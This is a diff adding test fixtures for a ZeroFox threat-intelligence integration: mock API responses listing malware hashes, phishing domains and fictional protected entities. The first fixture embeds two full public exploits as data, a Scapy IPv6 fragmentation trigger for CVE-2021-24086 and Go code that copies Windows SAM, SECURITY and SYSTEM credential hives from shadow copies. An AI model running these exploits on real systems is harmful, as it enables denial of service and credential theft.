"2021-07-26T17:22:12Z", + "cve": "CVE-2021-24086", + "urls": [ + "https://github.com/0vercl0k/CVE-2021-24086" + ], + "exploit": "# Axel '0vercl0k' Souchet - April 7 2021\nfrom scapy.all import *\nimport argparse\n\ndef frag6(target, frag_id, bytes, nh, frag_size = 1008):\n '''Ghetto fragmentation.'''\n assert (frag_size % 8) == 0\n leftover = bytes\n offset = 0\n frags = []\n while len(leftover) > 0:\n chunk = leftover[: frag_size]\n leftover = leftover[len(chunk): ]\n last_pkt = len(leftover) == 0\n # 0 -> No more / 1 -> More\n m = 0 if last_pkt else 1\n assert offset < 8191\n pkt = Ether() \\\n / IPv6(dst = target) \\\n / IPv6ExtHdrFragment(m = m, nh = nh, id = frag_id, offset = offset) \\\n / chunk\n\n offset += (len(chunk) // 8)\n frags.append(pkt)\n return frags\n\ndef pull_the_trigger(args):\n '''Trigger CVE-2021-24086 patched in REL2102.'''\n frag_id = random.randint(0, 0xffffffff)\n second_pkt_id = (~frag_id & 0xffffffff)\n reassembled_pkt = IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xff)),\n PadN(optdata=('c'*0xff)),\n PadN(optdata=('d'*0xff)),\n PadN(optdata=('e'*0xff)),\n PadN(optdata=('f'*0xff)),\n PadN(optdata=('0'*0xff)),\n ]) \\\n / IPv6ExtHdrDestOpt(options = [\n PadN(optdata=('a'*0xff)),\n PadN(optdata=('b'*0xa0)),\n ]) \\\n / IPv6ExtHdrFragment(\n id = second_pkt_id, m = 1,\n nh = 17, offset = 0\n ) \\\n / UDP(dport = 31337, sport = 31337, chksum=0x7e7f)\n\n reassembled_pkt = bytes(reassembled_pkt)\n assert (len(reassembled_pkt) % 8) == 0, 'not aligned'\n frags = frag6(args.target, frag_id, reassembled_pkt, 60)\n\n print(f'{len(frags)} fragments, total size {hex(len(reassembled_pkt))}')\n sendp(frags, iface= args.iface)\n\n reassembled_pkt_2 = Ether() \\\n / IPv6(dst = args.target) \\\n / IPv6ExtHdrFragment(id = second_pkt_id, m = 0, offset = 1, nh = 17) \\\n / 'doar-e ftw'\n\n sendp(reassembled_pkt_2, iface = args.iface)\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--target', default = 'some_ipv6')\n parser.add_argument('--iface', default = 'eth1')\n args = parser.parse_args()\n pull_the_trigger(args)\n return\n\nif __name__ == '__main__':\n main()" + }, + { + "created_at": "2021-07-26T17:24:06Z", + "cve": "CVE-2021-36934", + "urls": [ + "https://github.com/FireFart/hivenightmare", + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36934" + ], + "exploit": "package main\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"time\"\n)\n\nconst (\n\tbase = `\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy`\n\ttimeFormat = \"2006-01-02T15_04_05Z07_00\"\n)\n\nfunc processFile(path string) ([]byte, time.Time, error) {\n\tf, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, time.Now(), fmt.Errorf(\"error opening file: %+v\", err)\n\t}\n\tdefer f.Close()\n\tinfo, err := f.Stat()\n\tif err != nil {\n\t\treturn nil, time.Now(), fmt.Errorf(\"error getting file info: %+v\", err)\n\t}\n\tcontent, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\treturn nil, time.Now(), fmt.Errorf(\"error reading file content: %+v\", err)\n\t}\n\treturn content, info.ModTime(), nil\n}\n\nfunc checkFile(friendlyname, path string) ([]byte, time.Time, error) {\n\tvar lastmodify time.Time\n\tvar content []byte\n\tfor i := 1; i <= 20; i++ {\n\t\tfullPath := fmt.Sprintf(`%s%d\\%s`, base, i, path)\n\t\tfileContent, fileMod, err := processFile(fullPath)\n\t\tif err != nil {\n\t\t\t// fmt.Println(err)\n\t\t\tcontinue\n\t\t}\n\t\tif fileMod.After(lastmodify) {\n\t\t\tlastmodify = fileMod\n\t\t\tcontent = fileContent\n\t\t}\n\t}\n\tif content == nil || len(content) == 0 {\n\t\treturn nil, time.Now(), fmt.Errorf(\"could not detect a copy of %s in a shadow copy. Maybe the system is already patched or there are no shaow copies\", friendlyname)\n\t}\n\treturn content, lastmodify, nil\n}\n\nfunc main() {\n\tcontent, lastMod, err := checkFile(\"SAM\", `Windows\\System32\\config\\SAM`)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t} else {\n\t\tfilename := fmt.Sprintf(\"hive_sam_%s\", lastMod.Format(timeFormat))\n\t\tif err := ioutil.WriteFile(filename, content, 0644); err != nil {\n\t\t\tfmt.Printf(\"could not write %s: %v\\n\", filename, err)\n\t\t}\n\t\tfmt.Printf(\"Saved a copy of SAM to %s with last modify date of %s\\n\", filename, lastMod)\n\t}\n\n\tcontent, lastMod, err = checkFile(\"SECURITY\", `Windows\\System32\\config\\SECURITY`)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t} else {\n\t\tfilename := fmt.Sprintf(\"hive_security_%s\", lastMod.Format(timeFormat))\n\t\tif err := ioutil.WriteFile(filename, content, 0644); err != nil {\n\t\t\tfmt.Printf(\"could not write %s: %v\\n\", filename, err)\n\t\t}\n\t\tfmt.Printf(\"Saved a copy of SECURITY to %s with last modify date of %s\\n\", filename, lastMod)\n\t}\n\n\tcontent, lastMod, err = checkFile(\"SYSTEM\", `Windows\\System32\\config\\SYSTEM`)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t} else {\n\t\tfilename := fmt.Sprintf(\"hive_system_%s\", lastMod.Format(timeFormat))\n\t\tif err := ioutil.WriteFile(filename, content, 0644); err != nil {\n\t\t\tfmt.Printf(\"could not write %s: %v\\n\", filename, err)\n\t\t}\n\t\tfmt.Printf(\"Saved a copy of SYSTEM to %s with last modify date of %s\\n\", filename, lastMod)\n\t}\n}" + } + ] +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/malware.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/malware.json new file mode 100644 index 000000000000..96caef96d871 --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/malware.json @@ -0,0 +1,20 @@ +{ + "next": null, + "results": [ + { + "created_at": "2023-06-30T17:44:35Z", + "family": null, + "md5": "e89b43d57a67a3f4d705028cfbd7b6fb", + "sha1": "332c39d5130752b8c32d3b7275a05c13e874db84", + "sha256": "****", + "sha512": "809e3b6e2eb34a7a061bb8de610baef25f91c0dee5fe1d2e42d04a0ac42e43b40b1ee4e42352cc7d59322aa5cf4b2645c85fed7f36906d68e22e400d48e437ef", + "tags": [ + "evasion", + "themida", + "trojan" + ], + "botnet": [], + "c2": [] + } + ] +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/phishing.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/phishing.json new file mode 100644 index 000000000000..00f8fa77f1df --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/cti/phishing.json @@ -0,0 +1,50 @@ +{ + "next": "https://api.zerofox.com/cti/phishing/?cursor=c2E9MTYyNjQ2NzU0NjAwMCZzYT04MTM4MQ%3D%3D&domain=www.character-try.xyz", + "results": [ + { + "scanned": "1970-01-19T19:41:27.989000Z", + "domain": "www.purfan.com", + "url": "https://www.purfan.com/modules/pr/-/canada/manage/Canada_en", + "cert": { + "authority": "Cloudflare, Inc.", + "fingerprint": "1900D261A30FBB6930021D9B47C7757FACABF8B0", + "issued": "1970-01-19T15:18:43.200000Z" + }, + "host": { + "ip": "some_ip_address", + "asn": 13335, + "geo": "US" + } + }, + { + "scanned": "2021-07-12T12:41:38Z", + "domain": "hutsjwt.com", + "url": "some_url/css/mbt", + "cert": { + "authority": "cPanel, Inc.", + "fingerprint": "871B3BD9A98E83573B8368DFDB09629D4E1777BB", + "issued": "2021-05-09T00:00:00Z" + }, + "host": { + "ip": "some_ip_address", + "asn": 201200, + "geo": "BG" + } + }, + { + "scanned": "2021-07-14T10:03:13Z", + "domain": "sandalci.com.tr", + "url": "https://sandalci.com.tr/3r/final/0d5a4a5a748611231b945d28436b8ece", + "cert": { + "authority": "Let's Encrypt", + "fingerprint": "985C0AB576F0ADD480779480544EFC5A1D156C61", + "issued": "2021-06-23T23:25:26Z" + }, + "host": { + "ip": "some_ip_address", + "asn": 34984, + "geo": "TR" + } + } + ] +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/create_entity.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/create_entity.json new file mode 100644 index 000000000000..aca6770b3b20 --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/create_entity.json @@ -0,0 +1,3 @@ +{ + "id": "1" +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/entities_8_records.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/entities_8_records.json new file mode 100644 index 000000000000..3833e0b8a430 --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/entities_8_records.json @@ -0,0 +1,350 @@ +{ + "count": 16, + "next": "https://api.zerofox.com/1.0/entities/?limit=8&page=2", + "previous": null, + "num_pages": 2, + "entities": [ + { + "id": 560628, + "name": "Galaxy Stadium", + "email_address": "", + "image": "https://cdn.zerofox.com/media/entityimages/9fc59dbc-72f.png", + "organization": "", + "labels": [ + "Stark" + ], + "strict_name_matching": false, + "policy_id": 63986, + "profile": null, + "enterprise": 4332, + "entity_group": { + "id": 4636, + "name": "Default" + }, + "type": { + "id": 4, + "name": "Locations" + }, + "type_id": 4, + "next_account_expiration": null, + "next_account_expiration_iso": null, + "status": { + "id": 1, + "name": "enabled", + "display_name": "Enabled" + }, + "protection_status": { + "id": 1, + "name": "protected", + "display_name": "Protected" + }, + "source": { + "id": 1, + "name": "manual", + "display_name": "Manual" + }, + "address": "", + "phone": "", + "description": "" + }, + { + "id": 560629, + "name": "J.A.R.V.I.S.", + "email_address": "", + "image": "https://cdn.zerofox.com/media/entityimages/y6r4cjtwhr76w900mwwowruy9ng06agurz01paswrkumgmd8rc44frcxk4uw4afe.jpg", + "organization": "", + "labels": [ + "Stark" + ], + "strict_name_matching": false, + "policy_id": 63982, + "profile": null, + "enterprise": 4332, + "entity_group": { + "id": 4636, + "name": "Default" + }, + "type": { + "id": 1, + "name": "Brand" + }, + "type_id": 1, + "next_account_expiration": null, + "next_account_expiration_iso": null, + "status": { + "id": 1, + "name": "enabled", + "display_name": "Enabled" + }, + "protection_status": { + "id": 1, + "name": "protected", + "display_name": "Protected" + }, + "source": { + "id": 1, + "name": "manual", + "display_name": "Manual" + }, + "address": "", + "phone": "", + "description": "" + }, + { + "id": 560631, + "name": "James Rhodes", + "email_address": "some_email_address", + "image": "https://cdn.zerofox.com/media/entityimages/d6b7aaa4-a11.jpg", + "organization": "", + "labels": [ + "Stark" + ], + "strict_name_matching": true, + "policy_id": 63985, + "profile": null, + "enterprise": 4332, + "entity_group": { + "id": 4636, + "name": "Default" + }, + "type": { + "id": 3, + "name": "Executive/VIP" + }, + "type_id": 3, + "next_account_expiration": null, + "next_account_expiration_iso": null, + "status": { + "id": 1, + "name": "enabled", + "display_name": "Enabled" + }, + "protection_status": { + "id": 1, + "name": "protected", + "display_name": "Protected" + }, + "source": { + "id": 1, + "name": "manual", + "display_name": "Manual" + }, + "address": "", + "phone": "", + "description": "" + }, + { + "id": 560633, + "name": "Natasha Romanoff", + "email_address": "some_email_address", + "image": "https://cdn.zerofox.com/media/entityimages/23b9551f-2bb.png", + "organization": "", + "labels": [ + "Stark" + ], + "strict_name_matching": true, + "policy_id": 63985, + "profile": null, + "enterprise": 4332, + "entity_group": { + "id": 4636, + "name": "Default" + }, + "type": { + "id": 3, + "name": "Executive/VIP" + }, + "type_id": 3, + "next_account_expiration": null, + "next_account_expiration_iso": null, + "status": { + "id": 1, + "name": "enabled", + "display_name": "Enabled" + }, + "protection_status": { + "id": 1, + "name": "protected", + "display_name": "Protected" + }, + "source": { + "id": 1, + "name": "manual", + "display_name": "Manual" + }, + "address": "", + "phone": "", + "description": "" + }, + { + "id": 6969249, + "name": "Peter Parker", + "email_address": "some_email_address", + "image": "https://cdn.zerofox.com/media/entityimages/kv7b3f5ubcp9s79zigjegevdri4o274mu05h6d7ufijgsvr3pp8aiwalihnuvbi4.jpg", + "organization": "", + "labels": [], + "strict_name_matching": true, + "policy_id": 63985, + "profile": null, + "enterprise": 4332, + "entity_group": { + "id": 4636, + "name": "Default" + }, + "type": { + "id": 3, + "name": "Executive/VIP" + }, + "type_id": 3, + "next_account_expiration": null, + "next_account_expiration_iso": null, + "status": { + "id": 1, + "name": "enabled", + "display_name": "Enabled" + }, + "protection_status": { + "id": 1, + "name": "protected", + "display_name": "Protected" + }, + "source": { + "id": 1, + "name": "manual", + "display_name": "Manual" + }, + "address": "", + "phone": "", + "description": "" + }, + { + "id": 560636, + "name": "Stark Aviation", + "email_address": "some_email_address", + "image": "https://cdn.zerofox.com/media/entityimages/f5544e89-d2f.jpg", + "organization": "", + "labels": [ + "Stark" + ], + "strict_name_matching": false, + "policy_id": 63983, + "profile": null, + "enterprise": 4332, + "entity_group": { + "id": 4636, + "name": "Default" + }, + "type": { + "id": 1, + "name": "Brand" + }, + "type_id": 1, + "next_account_expiration": null, + "next_account_expiration_iso": null, + "status": { + "id": 1, + "name": "enabled", + "display_name": "Enabled" + }, + "protection_status": { + "id": 1, + "name": "protected", + "display_name": "Protected" + }, + "source": { + "id": 1, + "name": "manual", + "display_name": "Manual" + }, + "address": "", + "phone": "", + "description": "" + }, + { + "id": 560638, + "name": "Stark Credit Union", + "email_address": "", + "image": "https://cdn.zerofox.com/media/entityimages/61ce15f6-806.png", + "organization": "", + "labels": [ + "Stark" + ], + "strict_name_matching": false, + "policy_id": 63983, + "profile": null, + "enterprise": 4332, + "entity_group": { + "id": 4636, + "name": "Default" + }, + "type": { + "id": 1, + "name": "Brand" + }, + "type_id": 1, + "next_account_expiration": null, + "next_account_expiration_iso": null, + "status": { + "id": 1, + "name": "enabled", + "display_name": "Enabled" + }, + "protection_status": { + "id": 1, + "name": "protected", + "display_name": "Protected" + }, + "source": { + "id": 1, + "name": "manual", + "display_name": "Manual" + }, + "address": "", + "phone": "", + "description": "" + }, + { + "id": 560640, + "name": "Stark Email", + "email_address": "", + "image": "https://cdn.zerofox.com/media/entityimages/5dd8i7n2tlmj7kbmdzkpbdnk7vzl8gtzo90k9e68n0ls8vylyhy11vpnygbzeuxy.png", + "organization": "", + "labels": [ + "Stark" + ], + "strict_name_matching": false, + "policy_id": 63988, + "profile": null, + "enterprise": 4332, + "entity_group": { + "id": 4636, + "name": "Default" + }, + "type": { + "id": 7, + "name": "Email" + }, + "type_id": 7, + "next_account_expiration": null, + "next_account_expiration_iso": null, + "status": { + "id": 1, + "name": "enabled", + "display_name": "Enabled" + }, + "protection_status": { + "id": 1, + "name": "protected", + "display_name": "Protected" + }, + "source": { + "id": 1, + "name": "manual", + "display_name": "Manual" + }, + "address": "", + "phone": "", + "description": "" + } + ] +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/entities_no_records.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/entities_no_records.json new file mode 100644 index 000000000000..8a082ccff336 --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/entities_no_records.json @@ -0,0 +1,7 @@ +{ + "count": 0, + "next": null, + "previous": null, + "num_pages": 0, + "entities": [] +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/entity_types_10_records.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/entity_types_10_records.json new file mode 100644 index 000000000000..cc0e2dbcdc01 --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/entities/entity_types_10_records.json @@ -0,0 +1,227 @@ +{ + "count": 10, + "next": null, + "previous": null, + "results": [ + { + "id": 1, + "name": "Brand", + "description": "Corporate Brand, subsidaries, etc.", + "is_default": false, + "recommended_policy": { + "id": 63983, + "name": "Brand Recommended", + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/policies/63983/" + } + ] + }, + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/entities/types/1/" + } + ] + }, + { + "id": 2, + "name": "Domains", + "description": "Protect a single domain or a set of domains", + "is_default": false, + "recommended_policy": { + "id": 63984, + "name": "Web Domain Recommended", + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/policies/63984/" + } + ] + }, + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/entities/types/2/" + } + ] + }, + { + "id": 3, + "name": "Executive/VIP", + "description": "An individual requiring advanced protection", + "is_default": false, + "recommended_policy": { + "id": 63985, + "name": "Executive/VIP Recommended", + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/policies/63985/" + } + ] + }, + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/entities/types/3/" + } + ] + }, + { + "id": 4, + "name": "Locations", + "description": "Protect a single location or a set of locations", + "is_default": false, + "recommended_policy": { + "id": 63986, + "name": "Location Recommended", + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/policies/63986/" + } + ] + }, + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/entities/types/4/" + } + ] + }, + { + "id": 5, + "name": "Other", + "description": "Any other type of asset group", + "is_default": true, + "recommended_policy": { + "id": 63982, + "name": "Recommended", + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/policies/63982/" + } + ] + }, + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/entities/types/5/" + } + ] + }, + { + "id": 6, + "name": "Product", + "description": "A specific good or service", + "is_default": false, + "recommended_policy": { + "id": 63987, + "name": "Product Recommended", + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/policies/63987/" + } + ] + }, + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/entities/types/6/" + } + ] + }, + { + "id": 8, + "name": "IPs & Hostnames", + "description": "IP address, CIDR block or hostname", + "is_default": false, + "recommended_policy": { + "id": 112258, + "name": "IPs & Hostnames Recommended", + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/policies/112258/" + } + ] + }, + "links": [ + { + "rel": "self", + "href": "https://api.zerofox.com/1.0/entities/types/8/" + } + ] + }, + { + "id": 9, + "name": "Mobile App", + "description": "Protect personal or corporate mobile apps", + "is_default": false, + 